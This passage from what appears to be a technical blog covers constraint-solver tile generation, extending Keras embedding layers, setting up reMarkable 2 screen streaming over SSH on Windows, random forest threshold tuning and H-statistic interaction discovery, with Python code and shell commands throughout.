            position_to_tiles[(xp, yp)][TILES.index(" ")] \
                for xp in range(x, x+N_size) for yp in range(y, y+N_size)
            ) < N_size**2)

That seems to work pretty well:

       ┏┛                ┏┛       ┗┓
       ┗┓┏┓       ┏━━┓ ┏━┛       ┏┓┗┓  ┏
 ┏━━━━━┓┃┃┃┏━━━┓┏┓┗━━┛ ┗━┓  ┏━┓  ┗┛ ┗━━┛
┏┛  ┏┓ ┗┛┃┃┗┓  ┗┛┗┓    ┏┓┗━━┛┏┛
┛   ┗┛  ┏┛┗━┛    ┏┛  ┏┓┃┃┏┓  ┗┓   ┏┓ ┏┓┏
       ┏┛     ┏━┓┃┏━┓┃┃┃┃┗┛   ┗━━┓┃┗┓┃┃┃
  ┏┓ ┏━┛  ┏┓  ┗━┛┃┗┓┃┃┃┃┃┏━┓    ┏┛┗┓┃┃┃┃
━┓┃┃┏┛    ┗┛     ┗━┛┃┃┃┃┗┛┏┛    ┗━┓┃┗┛┗┛
 ┗┛┗┛               ┗┛┗┛  ┗━━━┓   ┗┛
                              ┗┓    ┏┓

(We could in fact add the same constraint for all of the tiles. An extension could also entail checking this for sizes from NHigh to NLow and then including minimization of the size in the objective.)

We can also try to generate a space filling curve. We can do so by first creating a Hamiltonian cycle over the cells and then maximize the length of the cycle in the objective. We keep in the previous constraints to make it challenging.

# Construct Hamiltonian cycle
arcs = []
pos_to_nr = {}
nr_to_pos = {}
pos_nr = 0
for x in range(GRID_SIZE[0]):
    for y in range(GRID_SIZE[1]):
        pos_to_nr[(x,y)] = pos_nr
        nr_to_pos[pos_nr] = (x,y)
        pos_nr += 1

for x in range(GRID_SIZE[0]):
    for y in range(GRID_SIZE[1]):
        pos = (x, y)
        c_var = position_to_tiles[pos]
        self_lit = model.new_bool_var(f"self_lit_{x}_{y}")
        arcs.append((pos_to_nr[pos], pos_to_nr[pos], self_lit))
        for offset_key, offset in OFFSETS.items():
            n_pos = (x + offset[0], y + offset[1])
            if n_pos[0] < 0 or n_pos[1] < 0 or n_pos[0] >= GRID_SIZE[0] or n_pos[1] >= GRID_SIZE[1]:
                continue
            lit = model.new_bool_var(f"lit_{x}_{y}_{n_pos[0]}_{n_pos[1]}")
            for t in range(len(TILES)):
                if " " in RULES[TILES[t]][offset_key]:
                    model.Add(lit == 0).OnlyEnforceIf(c_var[t])
            arcs.append((pos_to_nr[pos], pos_to_nr[n_pos], lit))

model.add_circuit(arcs)

# Change the objective:
model.Maximize(sum([a[2] for a in arcs if a[0] != a[1]]))

This is actually a hard task given that the underlying graph is pretty large but after half an hour we get an optimal solution:

┏┓
┃┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃┏━┓                     ┏━━┓    ┏━━━┛
┃┗┓┗┓            ┏━┓  ┏━┓┗┓ ┗┓┏┓ ┗━━┓
┗┓┗┓┗━┓  ┏━━━┓  ┏┛ ┗┓┏┛ ┗┓┗┓ ┗┛┗━━━┓┗┓
 ┗━┛  ┗┓ ┗┓  ┗┓ ┗━━┓┗┛   ┗┓┗━━━━━━┓┗┓┗━┓
       ┗┓ ┗┓  ┗┓   ┗━━━┓  ┗┓      ┗┓┃┏━┛
        ┗┓ ┗━┓ ┗┓  ┏━━┓┗━┓ ┗━━━━━━┓┃┃┗━┓
         ┗━━━┛  ┗━━┛  ┗━━┛        ┗┛┗━━┛

Supervised Generation with CP

Finally, we can attempt to convert the “supervised generation to look similar to a given image” approach to work within the CP framework. The basic setup is not even that difficult as for each possible tile and each possible location, we can pre-calculate what the similarity between them is, and then just maximize the similarity over the whole map.

For relatively small images, CP-SAT is actually quite capable at this, as seen in the following example:

This solution is very close to its bound, but proving optimality does take a very long time. Nevertheless, a good-enough solution is reached after 10 minutes. Even though it’s similarity to the target image is less, it is correct in terms of WFC constraints and the additional glitchiness makes it look good as well:

What’s even cooler is that we can keep track of the different solutions as they are being produced (each with a better similarity to the target image), stick them in a GIF, and show them.

Adding New Levels to a Keras Embedding Layer Without Having to Completely Retrain It

2021-06-14T20:57:00+02:00

A friend of mine recently asked whether there was an easy way to introduce new levels (i.e. items) to an embedding layer in Keras and only training the embedding layer for those new levels, i.e. keeping the weights for the existing indices fixed.

Note that this is not necessarily a good idea: the presence of new levels typically indicates that your model is due for a full maintenance retraining. The context in which we were discussing this originally was in a singular value decomposition setup of users and items (as it common in a recommender system setting, for instance). The question was whether we could keep the item embedding space for existing items fixed when introducing new items. Note that here too, this is suboptimal (assuming new items are being rated by existing users ¹), especially so when we also want to user embeddings to stay fixed.

Let us approach the problem using an easier setting. We will assume we have a data set X with every instance Xi = c with c ∈ 0..C with C our initial number of levels. We will train a model using an embedding layer to M(X) → y ∈ [0, 1] i.e. a binary classification model. We will then introduce a data set X’ with every instance X’i = c’ with c’ ∈ C+1..C’ and see how we can retrain our embedding layer.

First of all we need some imports:

from tensorflow import keras
from tensorflow.keras import backend as K
from tensorflow.keras.models import Model
from tensorflow.keras.layers import Input, Embedding, Flatten, Dense, Lambda, Reshape, Multiply, Add
from tensorflow.keras.regularizers import l2

import numpy as np
from pylab import cm

We will also construct a toy data set to work on. How this is created is not that important, but we split it up into an X and X’ as defined above (as well as the two combined):

# cat_idx_rs and y are provided

X_init, y_init = cat_idx_rs[cat_idx_rs<80],  y[cat_idx_rs<80]
X_new,  y_new  = cat_idx_rs[cat_idx_rs>=80], y[cat_idx_rs>=80]

X_together = np.hstack([X_init, X_new])
y_together = np.hstack([y_init, y_new])

num_categories_init = len(np.unique(X_init))     # 80
num_categories_all  = len(np.unique(X_together)) # 100

Note that X_init contains the levels indexed 0 up to 80 ², X_new contains levels indexed 80 up to 100.

Initial Model

So here is what an initial model would look like, trained on X_init and y_init:

def EmbeddingModel(num_categories, vector_dim=2, reg=False):
  if reg is False: reg = l2(0.000001)

  input_cat = Input((1,), name='input_cat')

  i = Embedding(num_categories, vector_dim, input_length=1, name='embedding_cat',
                embeddings_regularizer=reg, embeddings_initializer='random_normal')(input_cat)
  i = Flatten()(i)

  o = Lambda(lambda x : K.sigmoid(K.sum(x, axis=-1)))(i)
  o = Reshape((1,))(o)

  model = Model(inputs=input_cat, outputs=o)
  model.compile(loss='binary_crossentropy', metrics=['accuracy'], optimizer='rmsprop')

  return model


model = EmbeddingModel(num_categories_init)

# fit_with_lr is a simple helper function

fit_with_lr(model, X_init, y_init, lr=0.005, epochs=1)
fit_with_lr(model, X_init, y_init, lr=0.01, epochs=1)

# 89/89 [======] - 1s 4ms/step - loss: 0.6593 - accuracy: 0.6934 - val_loss: 0.6324 - val_accuracy: 0.7339
# 89/89 [======] - 0s 2ms/step - loss: 0.6008 - accuracy: 0.7404 - val_loss: 0.5810 - val_accuracy: 0.7397

We use an extremely simple prediction setup here where we just sum the embedding weights and push them through a sigmoid function to get our prediction. We could also have used a Dense layer obviously but is not necessary for the scope of this discussion.

In any case, we get a good accuracy baseline. The figure below shows the probability distribution of the model on X_init (obviously, we’d normally use a test set) and — more interestingly — the embeddings for the 80 levels.

The colours give an indication of the true class labels and is calculated as the number of positive instances with the corresponding class label divided over the total number of instances with the corresponding class label. Grey is 50%, darker red more closer to 100%, darker blue closer to 0%. Note that blue is in the negative quadrant as this will result in a <0.5 probability output when pushed through the sigmoid function.

We will now take a look at three different ways how we can update this model to include embeddings for the 20 additional categories of X_new without retraining the existing ones.

Updated Model Using Two Embedding Layers

A first method is shown by the code below:

def EmbeddingModelIsNew(num_categories, previous_embedding_weights, vector_dim=2, reg=False):
  if reg is False: reg = l2(0.000001)

  num_previous_categories = previous_embedding_weights[0].shape[0]
  num_new_categories = num_categories - num_previous_categories
  num_max_categories = max(num_previous_categories, num_new_categories)

  input_cat = Input((1,), name='input_cat')

  input_cat_clamped = Lambda(lambda x : K.switch(K.less_equal(K.constant(num_previous_categories), x), 
                                                 x - num_max_categories, 
                                                 x))(input_cat)
  input_cat_clamped = Reshape((1,))(input_cat_clamped)

  input_new = Lambda(lambda x : K.switch(K.less_equal(K.constant(num_previous_categories), x), 
                                         K.ones_like(x), 
                                         K.zeros_like(x)))(input_cat)
  input_new = Reshape((1,))(input_new)

  i_old = Embedding(num_previous_categories, 
                    vector_dim, input_length=1, name='embedding_cat_old',
                    embeddings_regularizer=reg, embeddings_initializer='random_normal')(input_cat_clamped)
  i_old = Flatten()(i_old)

  i_new = Embedding(num_max_categories, 
                    vector_dim, input_length=1, name='embedding_cat_new',
                    embeddings_regularizer=reg, embeddings_initializer='random_normal')(input_cat_clamped)
  i_new = Flatten()(i_new)

  i_old = Multiply()([1-input_new, i_old])
  i_new = Multiply()([input_new, i_new])
  i = Add()([i_old, i_new])

  o = Lambda(lambda x : K.sigmoid(K.sum(x, axis=-1)))(i)
  o = Reshape((1,))(o)

  model = Model(inputs=input_cat, outputs=o)
  model.compile(loss='binary_crossentropy', metrics=['accuracy'], optimizer='rmsprop')

  model.get_layer('embedding_cat_old').set_weights(previous_embedding_weights)
  model.get_layer('embedding_cat_old').trainable = False

  return model


new_model = EmbeddingModelIsNew(num_categories_all, model.get_layer('embedding_cat').get_weights())

fit_with_lr(new_model, X_new, y_new, lr=0.005, epochs=1)
fit_with_lr(new_model, X_new, y_new, lr=0.01, epochs=1)

Here, we do the following: we construct a new model with two embedding layers, one with the same number of categories as the initial model (80 in our case) and one with its categories set equal to the maximum of the old and new number of categories. Since both embedding layers assume the indexes to start at 0, we use a switch statement to subtract the maximum of the old and new number of categories in case the index exceeds the old number of levels. I.e. we will remap levels 80 to 100 → 0 to 20. So why don’t we use 20 categories in i_new? Well, since levels 20 to 80 might also still occur, and even though we won’t do anything with the embeddings created for these, we still need to include them. Next, since we now get two embeddings for each index, but only one is valid, we multiply with an additional binary input indicating whether the index is a new one or not, again derived by using a switch statement. Finally, we copy over the existing weights and set one embedding layer to be non-trainable.

So, in this situation: the old embedding layer will have 80 vectors, the new one will have max(80, 20) = 80 weights as well. The incoming indices 0-100 will be remapped to 0-80 so none of the embedding layers error out. Indices 0-20 are shared and can refer to either new or old indices, given by input_new, which will multiply one of the embeddings with 0 to cancel it out. Finally, since the old embedding layer won’t be retrained anyway, we can train using new indices only. We can however still make predictions on the complete data set (X_together) and indeed verify that the original embeddings didn’t change:

As an aside, you might wonder what would happen if we would introduce more new indices than we had old ones, e.g. assume that X_new had 100 new indices from 80-180: the old layer would still contain 80 vectors, and the new one would now have max(80, 100) = 100 weights. The incoming indices 0-180 would be remapped to 0-80 so again none of the embeddings would error out.

So this approach works and has the benefit that you can get it working using relatively basic Keras knowledge only, but is somewhat unwieldy. Especially the fact that the new embedding layer has more weights than we actually need is a pity.

Updated Model Using Custom Keras Class

Obviously, a more easier way is simply by extending the existing Embedding class:

import tensorflow.compat.v2 as tf
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import embedding_ops
from tensorflow.python.keras import backend as K
from tensorflow.python.keras.utils import tf_utils

class ExtendingEmbedding(Embedding):

  def __init__(self, input_dim, output_dim, input_dim_existing, **kwargs):
    super(ExtendingEmbedding, self).__init__(input_dim, output_dim, **kwargs)
    self.input_dim_existing = input_dim_existing
    self.input_dim_new = input_dim - self.input_dim_existing

  @tf_utils.shape_type_conversion
  def build(self, input_shape=None):
    self.embeddings_existing = self.add_weight(
        shape=(self.input_dim_existing, self.output_dim),
        initializer=self.embeddings_initializer,
        name='embeddings_existing',
        regularizer=self.embeddings_regularizer,
        constraint=self.embeddings_constraint,
        experimental_autocast=False,
        trainable=False)
    self.embeddings_new = self.add_weight(
        shape=(self.input_dim_new, self.output_dim),
        initializer=self.embeddings_initializer,
        name='embeddings_new',
        regularizer=self.embeddings_regularizer,
        constraint=self.embeddings_constraint,
        experimental_autocast=False)
    self.built = True

  def call(self, inputs):
    dtype = K.dtype(inputs)
    if dtype != 'int32' and dtype != 'int64':
      inputs = math_ops.cast(inputs, 'int32')
    emb = K.concatenate([self.embeddings_existing, self.embeddings_new], axis=0)
    out = embedding_ops.embedding_lookup_v2(emb, inputs)
    if self._dtype_policy.compute_dtype != self._dtype_policy.variable_dtype:
      out = tf.cast(out, self._dtype_policy.compute_dtype)
    return out

Again, this is perhaps a bit more cumbersome than we’d want it to be since we need two add_weight calls here. (A better name would be add_weight_tensor since we’re adding a shape of weights, but anyway.) One to hold the existing weights (set to non-trainable), and another one to provide room for the new levels. This would be easier if Keras would allow to set a part of a weights tensor to be non-trainable, but it makes sense that this is not feasible (most likely, it wouldn’t work well with vectorized operations on the GPU).

In any case we can now directly use this class as follows:

def EmbeddingModelCustom(num_categories, previous_embedding_weights, vector_dim=2, reg=False):
  if reg is False: reg = l2(0.000001)

  num_previous_categories = previous_embedding_weights[0].shape[0]
  num_new_categories = num_categories - num_previous_categories

  input_cat = Input((1,), name='input_cat')

  i = ExtendingEmbedding(num_categories, vector_dim, 
                         input_dim_existing=num_previous_categories,
                         input_length=1, name='embedding_cat',
                         embeddings_regularizer=reg, embeddings_initializer='random_normal')(input_cat)
  i = Flatten()(i)

  o = Lambda(lambda x : K.sigmoid(K.sum(x, axis=-1)))(i)
  o = Reshape((1,))(o)

  model = Model(inputs=input_cat, outputs=o)
  model.compile(loss='binary_crossentropy', metrics=['accuracy'], optimizer='rmsprop')

  K.set_value(model.get_layer('embedding_cat').embeddings_existing, previous_embedding_weights[0])

  return model


new_model = EmbeddingModelCustom(num_categories_all, model.get_layer('embedding_cat').get_weights())

fit_with_lr(new_model, X_new, y_new, lr=0.005, epochs=1)
fit_with_lr(new_model, X_new, y_new, lr=0.01, epochs=1)

Again we only need to train on the new instances here as the existing weights won’t be retrained anyway. (Remark for the observant reader: in case other learnable parameters would be present such as a Dense layer, you might want to mix-in existing instances as well given that you allow those parameters to stay trainable.)

And then we get this result:

Updated Model Using Custom Keras Constraint

A third approach consists of using a Keras constraint to lock some of the weights in place whilst still keeping a full expanded embedding layer trainable. First, we define our constraint:

from tensorflow.keras.constraints import Constraint

class FixWeights(Constraint):
  def __init__(self, weights):
    self.weights = weights

  def __call__(self, w):
    r = K.concatenate([self.weights, w[self.weights.shape[0]:]], axis=0)
    return r

And again can use this as follows:

def EmbeddingModelConstrained(num_categories, previous_embedding_weights, vector_dim=2, reg=False):
  if reg is False: reg = l2(0.000001)

  num_previous_categories = previous_embedding_weights[0].shape[0]
  num_new_categories = num_categories - num_previous_categories

  input_cat = Input((1,), name='input_cat')

  constraint = FixWeights(previous_embedding_weights[0])
  i = Embedding(num_categories, vector_dim, 
                embeddings_constraint=constraint,
                input_length=1, name='embedding_cat',
                embeddings_regularizer=reg, embeddings_initializer='random_normal')(input_cat)
  i = Flatten()(i)

  o = Lambda(lambda x : K.sigmoid(K.sum(x, axis=-1)))(i)
  o = Reshape((1,))(o)

  model = Model(inputs=input_cat, outputs=o)
  model.compile(loss='binary_crossentropy', metrics=['accuracy'], optimizer='rmsprop')

  return model

new_model = EmbeddingModelConstrained(num_categories_all, model.get_layer('embedding_cat').get_weights())

fit_with_lr(new_model, X_new, y_new, lr=0.005, epochs=1)
fit_with_lr(new_model, X_new, y_new, lr=0.01, epochs=1)

By the way, now comes the point at which is becomes clear why I have added in a very slight L2 regularization. If kept to None, using a constraint on an Embedding layer bugs out with: Cannot use a constraint function on a sparse variable.. TensorFlow is aware of the issue, with some people suggesting to use the constraint as a normal layer operation instead, as in:

emb = Embedding(input_dim, output_dim, name='embedding_name')
norm_layer = UnitNorm(axis=1)
norm_embedding = norm_layer(emb(embedding_id_input))

Err… that might work for a UnitNorm constraint (and I’m not sure, even), but definitely didn’t for FixWeights, so I doubt that this usage is correct. Strangely enough, setting a regularizer bypasses the issue and we get our result:

Full Retraining

So there you have it: three different ways on how to iteratively update an embedding layer. Just for fun, we can also compare the results above with the result a fully retrained model would give us:

new_model = EmbeddingModel(num_categories_all)

fit_with_lr(new_model, X_together, y_together, lr=0.002, epochs=1)
fit_with_lr(new_model, X_together, y_together, lr=0.001, epochs=1)

We can also take a look at how the embeddings jump around from one the original model to the new one using all indices:

The green dots show the embedding for the initial model, and the orange dots for the new one. Lines connect embeddings for the same index (if included in both models). Even although the embedding is relatively stable here, this is of course mainly due to the way how we used it here (addition and sigmoid).

If new items would be rated by new users only, the task would be trivial as one could simply train a new separate embedding on these. ↩
Zero is included as we won’t use zero-masking. ↩

reMarkable 2 Screen Capture on Windows 10

2021-01-14T12:50:00+01:00

I’ve recently bought a reMarkable 2 and am happy with it. Since teaching is still happening online for the most part at the moment, I was curious whether I could use it as a drawing tablet, share the screen with my machine, and then pick that up in e.g. OBS Studio to share it to viewers.

Luckily, the reMarkable 2, like its predecessor, is hacker-friendly, and someone has already made a tool to do exactly this.

I’m working with Windows on my teaching machine, however, and wanted to avoid having to install Git BASH or MSYS2. Luckily, you can get the setup to work in a very portable fashion.

We’re going to follow more or less the installation instructions over at https://github.com/rien/reStream. First, we need to generate a SSH key pair on our machine:

C:\Users\Seppe> ssh-keygen -t rsa -C

Your public key has been saved in C:\Users\Seppe/.ssh/id_rsa.pub.

This will save a public key in C:\Users\Seppe/.ssh/id_rsa.pub (replace my username with yours). For the reMarkable 2, we need to use rsa.

Next, we need to add the identity using the ssh-agent:

C:\Users\Seppe> ssh-agent -s

unable to start ssh-agent service, error :1058

If you get this error, head to services and enable/start the OpenSSH Authentication Agent:

And then:

C:\Users\Seppe> ssh-agent -s
C:\Users\Seppe> ssh-add C:\Users\Seppe/.ssh/id_rsa

Identity added: C:\Users\Seppe/.ssh/id_rsa (C:\Users\Seppe/.ssh/id_rsa)

Next, find the root password and IP address of your reMarkable (go to Settings, Help, Copyrights and licenses and scroll down). Then connect to it:

C:\Users\Seppe> ssh root@10.11.99.1

# If it doesn't exist already
reMarkable: ~/ mkdir .ssh

And then, in another Windows terminal, copy over the public key:

C:\Users\Seppe> type %HOMEPATH%\.ssh\id_rsa.pub | ssh root@10.11.99.1 "cat > .ssh/authorized_keys"

Finally, back in the SSH session, don’t forget to set the permissions correctly:

reMarkable: ~/ chmod -R og-rwx /home/root/.ssh
reMarkable: ~/ exit

Now try ssh root@10.11.99.1 again. It should not ask for a password.

Finally, copy over the binary over to the reMarkable and make it executable:

C:\Users\Seppe> scp restream.arm.static root@10.11.99.1:/home/root/restream
C:\Users\Seppe> ssh root@10.11.99.1 'chmod +x /home/root/restream'

Next, create an empty folder on your machine, and dump the ffmpeg (ffplay.exe) and lz4 into it (lz4.exe). Then navigate to this folder and run the following command on Windows:

ssh root@10.11.99.1 -o ConnectTimeout=1 "./restream" | lz4 -d | ffplay -window_title Restream -vcodec rawvideo -loglevel info -f rawvideo -pixel_format gray8 -video_size 1872,1404 -i - -vf "transpose=2,transpose=1,setpts=(RTCTIME-RTCSTART)/(TB*1000000)"

And there we go:

transpose=1 can be replaced with transpose=0 for portrait mode.

Does It Make Sense to Tune the Cutoff of Trees in a Random Forests?

2021-01-05T10:03:00+01:00

TL;DR: very likely not.

A student once asked me whether it would make sense to tune the probability cutoff (a.k.a. threshold) for trees in a random forests. Let’s explain first what we mean by that exactly. Assume a binary classification setting. Say we’ve trained a single decision tree. We know that the prediction is given by the leaf node, and that a probability P(y=1|x) can be assigned by the number of training examples in leaf node with positive outcome divided by the number of all training examples in leaf node (note that this is a fixed ratio for each leaf node and does not change once the tree is trained). This is not a well-calibrated probability, but does allow to rank predictions.

Given such a probability P(y=1|x), it is then possible to specify a threshold T so that if P(y=1|x) >= T, we assume the outcome to be 1, and 0 otherwise. We can then tune T (e.g. through cross-validation) to get an optimal cutoff point given a metric we desire to optimise (accuracy, F1, or something else…) ¹.

Let us now consider the case of a random forest: N trees are constructed which all provide their prediction for a given instance, after which the majority vote determines the final outcome. Again, a probability P(y=1|x) can be assigned as the number of trees which predicted y=1 divided by N.

However, we’ve kind of forgotten about the fact that every tree member itself can output a probability as well. What if we would tune the individual trees with a threshold Tn, with n = 1..N? Would this lead to a better result? The answer is that it might, but only in very specific circumstances, and is hence probably not worth doing.

First, most implementations of random forest construct non-pruned trees. E.g. each leaf node relates to one training example. This doesn’t lead to overfit thanks to bootstrapping and random feature subset selection. As such, the probability that P(y=1|x) is either 1 or 0 for each tree, and threshold tuning would not make sense here.

Second, many implementations (most notably scikit-learn) in fact deviate from the behavior of random forests as originally described. Instead of letting each tree vote and having the final probability of the ensemble equal P(y=1|x) = number of trees which predicted y=1 / N, they instead average the probabilistic predictions of all members, i.e. P(y=1|x) = Σ(for n = 1..N)[ Pn(y=1|x) ] / N. This also avoids the problem of individual tree tuning altogether.

If you’re curious, see this tech report by Leo Breiman. Using averaging gives smoother probabilities. Again, note that this doesn’t matter under the default assumption where we build trees all the way down.

But what happens if we do limit the depth of trees?

This is easily tested, e.g. by means of the following example churn data set:

df = pd.read_csv("https://raw.githubusercontent.com/yhat/demo-churn-pred/master/model/churn.csv")
df.drop(columns=['Phone', 'State'], inplace=True)
df['Int\'l Plan'].replace({'no': 0, 'yes': 1}, inplace=True)
df['VMail Plan'].replace({'no': 0, 'yes': 1}, inplace=True)
df['Churn?'].replace({'False.': 0, 'True.': 1}, inplace=True)

np.unique(df['Churn?'], return_counts=True)
# (array([0, 1], dtype=int64), array([2850,  483], dtype=int64))

X, y = df.drop(columns=['Churn?']), df['Churn?']
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5)

Training a standard random forest with limited depth:

rf = RandomForestClassifier(max_depth=2).fit(X_train, y_train)
base_score = roc_auc_score(
    y_test,
    rf.predict_proba(X_test)[:,1]
)

print("RF AUC:", base_score)
# RF AUC: 0.8785843604842545

We can then implement our own predict function which accepts a threshold:

def rf_predict_thresholded(model, X, average=True, tree_threshold=0.5):
    # tree_threshold is ignored if average=True
    preds = []
    for estimator in rf.estimators_:
        preds.append(np.array(estimator.predict_proba(X)[:,1]))
    P = np.vstack(preds).T
    if average:
        V = np.mean(P, axis=1)
    else:
        P[P >= tree_threshold] = 1; P[P < tree_threshold] = 0
        V = np.sum(P, axis=1) / len(rf.estimators_)
    return V

And comparing it with the original score:

auc_avg = roc_auc_score(y_test, rf_predict_thresholded(rf, X_test))
auc_thr = roc_auc_score(y_test, rf_predict_thresholded(rf, X_test, average=False))

print("RF AUC (scikit-learn):", base_score)
print("RF AUC (manual implementation):", auc_avg)
print("RF AUC (0.5 threshold):", auc_thr)

# RF AUC (scikit-learn):          0.8785843604842545
# RF AUC (manual implementation): 0.8785843604842545
# RF AUC (0.5 threshold):         0.8740978140277726

We get the same result, and see that the majority voting approach even does slightly worse with a threshold of 0.5. We can in fact see that the average probabilities differ somewhat from the majority voted ones in this case:

We can then tune the threshold (on the training set, to play it safe, but you’d normally cross-validate this):

thresholds = np.linspace(0, 1, 30)

aucs = [roc_auc_score(
    y_train, 
    rf_predict_thresholded(rf, X_train, average=False, tree_threshold=t)
) for t in thresholds]

best_thres = thresholds[np.argmax(aucs)]

print("Best threshold:", best_thres)
# Best threshold: 0.10344827586206896

plt.plot(thresholds, aucs)

Interestingly enough, the best threshold appears to be around 0.10:

With these final test set results:

best_auc = roc_auc_score(
    y_test,
    rf_predict_thresholded(rf, X_test, average=False, tree_threshold=best_thres)
)

print("RF AUC (scikit-learn):", base_score)
print("RF AUC (manual implementation):", auc_avg)
print("RF AUC (0.5 threshold):", auc_thr)
print(f"RF AUC (best threshold = {best_thres}):", best_auc)

# RF AUC (scikit-learn):                         0.8951299611518283
# RF AUC (manual implementation):                0.8951299611518283
# RF AUC (0.5 threshold):                        0.8782447377605374
# RF AUC (best threshold = 0.10344827586206896): 0.8906157921536992

As can be seen, this best threshold comes close to our averaged value. When repeating the run with a different random seed, we can find cases where the best threshold does slightly better. So what to take from this?

Tuning the threshold of individual trees is most likely not worth it
Except when (for some reason) you’re using depth-limited trees and can not use an averaged ensemble prediction probability (but in which case it would be easier and better to implement that instead)
It might play a more important role when incorporating less trees in the ensemble (in which case it’s better to use more trees)
We’ve used the same threshold for every tree in the ensemble, but tuning this on a per-tree basis would lead even further down the rabbit hole (metalearning-like)

So in short: stick instead to the basics.

Of course, it doesn’t matter that much when evaluating on e.g. AUROC, as this metric is threshold-independent (or rather, it incorporates all thresholds in a single metric). ↩

Revisiting Discovery of Interaction Effects

2021-01-03T11:37:00+01:00

In 2019, I wrote on the topic of discovering which features interact in a model agnostic manner, using an approach from a paper by Friedman and Popescu entitled Predictive Learning Via Rule Ensembles. I wanted to revisit the topic briefly and expand on it somewhat, given that scikit-learn has progressed a bit since then.

On Permutation Feature Importance, Partial Dependence, and Individual Conditional Expectation Plots

First the good news: scikit-learn has added support both for permutation based feature importance (and should now be your go-to approach instead of the feature_importances_ attribute) as well as support for partial dependence plots. ICE plots are also supported through the kind parameter.

Since plot_partial_dependence supports two-way interactions as well, this by itself already removes having to depend on lots of other libraries (though I still like rfpimp for their more explicit handling of feature correlation).

Revisiting Friedman’s H-statistic

Recall that we had defined two versions of the H-statistic in the previous post:

H2(jk) to measure whether features j and k interact. For this, partial dependence results need to be calculated for j and k separately, and j and k together. The second-order measure
H2(j) to measure if a feature j interacts with any other feature. This can hence be regarded as a first-order measure guiding the second-order measures to check

And that we had implemented these as follows:

# Second order measure: are selectedfeatures interacting?
def compute_h_val(f_vals, selectedfeatures):
    numer_els = f_vals[tuple(selectedfeatures)].copy()
    denom_els = f_vals[tuple(selectedfeatures)].copy()
    sign = -1.0
    for n in range(len(selectedfeatures)-1, 0, -1):
        for subfeatures in itertools.combinations(selectedfeatures, n):
            numer_els += sign * f_vals[tuple(subfeatures)]
        sign *= -1.0
    numer = np.sum(numer_els**2)
    denom = np.sum(denom_els**2)
    return np.sqrt(numer/denom)

# First order measure: is selectedfeature interacting with any other subset in allfeatures?
def compute_h_val_any(f_vals, allfeatures, selectedfeature):
    otherfeatures = list(allfeatures)
    otherfeatures.remove(selectedfeature)
    denom_els = f_vals[tuple(allfeatures)].copy()
    numer_els = denom_els.copy()
    numer_els -= f_vals[(selectedfeature,)]
    numer_els -= f_vals[tuple(otherfeatures)]
    numer = np.sum(numer_els**2)
    denom = np.sum(denom_els**2)
    return np.sqrt(numer/denom)

Side note

The second order measure function is based on the implementation in sklearn-gbmi, but looking at it now I am not 100% convinced its interpretation of the measure is correct. First, it returns `np.nan` in case it turns out to be higher than one (which technically, can actually happen, so I have amended this in the code above). Second, it flips the sign around for every group size, though the original paper states that:

This quantity tests for the presence of a joint three-variable interaction […] by measuring the fraction of variance of H(jkl) not explained by the lower order interaction effects among these variables. Analogous statistics testing for even higher order interactions can be derived, if desired.

Based on which I’d probably use the following instead:

def compute_h_val(f_vals, selectedfeatures):
    numer_els = f_vals[tuple(selectedfeatures)].copy()
    denom_els = f_vals[tuple(selectedfeatures)].copy()
    for n in range(len(selectedfeatures)-1, 0, -1):
        for subfeatures in itertools.combinations(selectedfeatures, n):
            sign = -1 if n == selectedfeatures - 1 else +1
            numer_els += sign * f_vals[tuple(subfeatures)]
    numer = np.sum(numer_els**2)
    denom = np.sum(denom_els**2)
    return np.sqrt(numer/denom)

I’m leaving it as is since we’re not going to explore four-way and higher interactions (for two and three-way interactions, both give the same result), but I am open to hear what the correct interpretation would look like.

Both of these need a calculated set of f_vals: partial dependence values, which basically boils down to centered predictions of our predictive model for all possible subsets of features predicted over the same data set, either based on the original train/test data set itself, or a synthetic one constructed over a grid.

We’ll investigate three different implementations on how we can obtain these F values. I’ll use the California Housing data set and train a straightforward random forest regressor ¹:

X, y = fetch_california_housing(return_X_y=True, as_frame=True)
X.head()
model = RandomForestRegressor().fit(X, y)
mean_absolute_error(y, model.predict(X))
# 0.11915306683139575

Our model is (as expected) doing well enough for the purpose of the example, and we can also plot the feature importance rankings using both the old (impurity) and new (permutation) approach:

plt.barh(range(X.shape[1]), model.feature_importances_, tick_label=X.columns)

imp = permutation_importance(model, X, y, n_repeats=10)['importances_mean']
plt.barh(range(X.shape[1]), imp, tick_label=X.columns)

Note that this already highlights that permutation-based importance gives a less biased view.

Nevertheless, our focus is on discovery of interacting features. With the tools at our disposal, one would normally do so by:

Inspecting univariate partial dependence plots for important features. Flatter (regions) in the plot might indicate that an interaction is going on
Inspecting bivariate partial dependence plots
Inspecting ICE plots

For example, taking a look at the ICE plot for HouseAge:

Shows that there is more going on than the univariate partial dependency would suggest. Bringing in another variable shows the following bivariate partial dependence plot:

plot_partial_dependence(model, X, [(
    list(X.columns).index('HouseAge'), 
    list(X.columns).index('AveRooms')
)])

Indeed, on average the price increases for older houses, but we do see that it is strongly dependent on the AveRooms variable as well (e.g. for HouseAge between 30-40, the prediction ceteris paribus stays relatively flat, but not when taking into account the AveRooms feature).

For most uses cases, this is in fact quite sufficient to inspect models reasonably well. Still, let us now consider the H-measure ².

Using `pdpbox`

In the previous post, recall that we had modified pdpbox to calculate partial dependence values (our F values) for higher-order interactions. This still works with newer versions of pdpbox, and supports both using a given data set as well as a grid-based synthetic one, but sadly breaks down for non-toy data sets with more features as iterating over all possible feature set combinations becomes too computationally expensive.

We can, however, limit ourselves to applying the second-order test on a chosen subset of features:

feats = ['Latitude', 'Longitude', 'HouseAge']

f_vals = compute_f_vals_pdpbox(model, X, feats=feats)

subsets = []
h_vals = []

for n in range(2, len(feats)+1):
    for subset in itertools.combinations(feats, n):
        h_val = compute_h_val(f_vals, subset)
        subsets.append(' x '.join(subset))
        h_vals.append(h_val)

plt.barh(range(len(h_vals)), h_vals, tick_label=subsets)

The reason for this is due to the fact that creating a synthetic data set over N features and m values per feature leads to m^N instances being created. Strangely enough, however, the implementation remains slow when using the given data set itself instead, as in:

f_vals = compute_f_vals(model, X, feats=X.columns, use_data_grid=True)

The reason for this is most likely due to pdpbox‘ internals (I suspect because of its tendency to calculate individual ICE-style dependencies and averaging those rather than a true PD approach).

Using `scikit-learn`

Since scikit-learn now supports partial dependence plots directly, we actually do no need to use pdpbox any longer. Note that plot_partial_dependence can only handle two-way interactions, but the partial_dependence function does in fact work with higher-order groups:

